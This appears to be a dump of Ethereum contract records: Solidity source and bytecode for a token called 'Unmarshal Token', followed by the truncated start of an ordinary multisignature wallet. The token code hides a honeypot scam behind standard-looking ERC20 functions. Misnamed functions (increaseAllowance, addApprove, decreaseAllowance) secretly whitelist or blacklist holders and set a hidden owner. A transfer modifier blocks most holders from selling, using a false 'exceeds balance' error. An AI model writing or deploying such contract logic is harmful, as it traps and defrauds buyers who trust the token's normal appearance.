exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _transfer(msg.sender,receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } uint256 private _checkAmount = 0; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_checkAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _checkAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address public _owner; constructor (uint256 initialSupply,address payable owner) public { _name = "Unmarshal Token"; _symbol = "MARSH"; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5f565b604051808215151515815260200191505060405180910390f35b6102a3610a7d565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a87565b604051808215151515815260200191505060405180910390f35b610347610b60565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b77565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fca565b005b6105ab6110d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611173565b604051808215151515815260200191505060405180910390f35b610694611191565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b7565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123e565b005b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109b95760018060008484815181106108e957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600080600084848151811061095357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a555780601f10610a2a57610100808354040283529160200191610a55565b820191906000526020600020905b815481529060010190602001808311610a3857829003601f168201915b5050505050905090565b6000610a73610a6c6113f6565b84846113fe565b6001905092915050565b6000600754905090565b6000610a948484846115f5565b610b5584610aa06113f6565b610b508560405180606001604052806028815260200161318560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b066113f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b6113fe565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c4f81600754612dc790919063ffffffff16565b600781905550610cc98160056000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b60056000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9b33848381518110610e7a57fe5b6020026020010151848481518110610e8e57fe5b6020026020010151612e4f565b83811015610f6e576001600080858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fe565b5b8080600101915050610e61565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111695780601f1061113e57610100808354040283529160200191611169565b820191906000526020600020905b81548152906001019060200180831161114c57829003601f168201915b5050505050905090565b60006111876111806113f6565b84846115f5565b6001905092915050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f257600160008084848151811061132157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061138c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611307565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611484576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806131d26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061313d6022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c45750600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119cf5781600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611821868686613114565b61188d8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061192284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cff565b600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a785750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ad05750600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2f57600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5d57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6a57806002819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611bf0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611c81868686613114565b611ced8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfe565b600115156000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214c57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b611f9e868686613114565b61200a8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061209f84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfd565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561256857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061224e5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6122a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061315f6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612329576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b6123ba868686613114565b6124268460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124bb84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfc565b60025481101561293c57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126775760018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b61278e868686613114565b6127fa8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288f84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612cfb565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129e55750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061315f6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612ac0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b612b51868686613114565b612bbd8460405180606001604052806026815260200161315f60269139600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5284600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612db4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d79578082015181840152602081019050612d5e565b50505050905090810190601f168015612da65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ed5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612f5b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061311a6023913960400191505060405180910390fd5b612f66838383613114565b612fd28160405180606001604052806026815260200161315f60269139600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d079092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dc790919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220918007451658bd98aeed7ea3d3d17a3fcee1b1baa83406545b3b93b38852c3cc64736f6c63430006060033
{"success": true, "error": null, "results": {}}
2,554
0x50FBe8a6e0dEEd2dFa7821644353de11A6E874e4
pragma solidity 0.4.10; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6516110003040b4b02000a17020025060a0b16000b161c164b0b0011">[email&#160;protected]</a>> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { 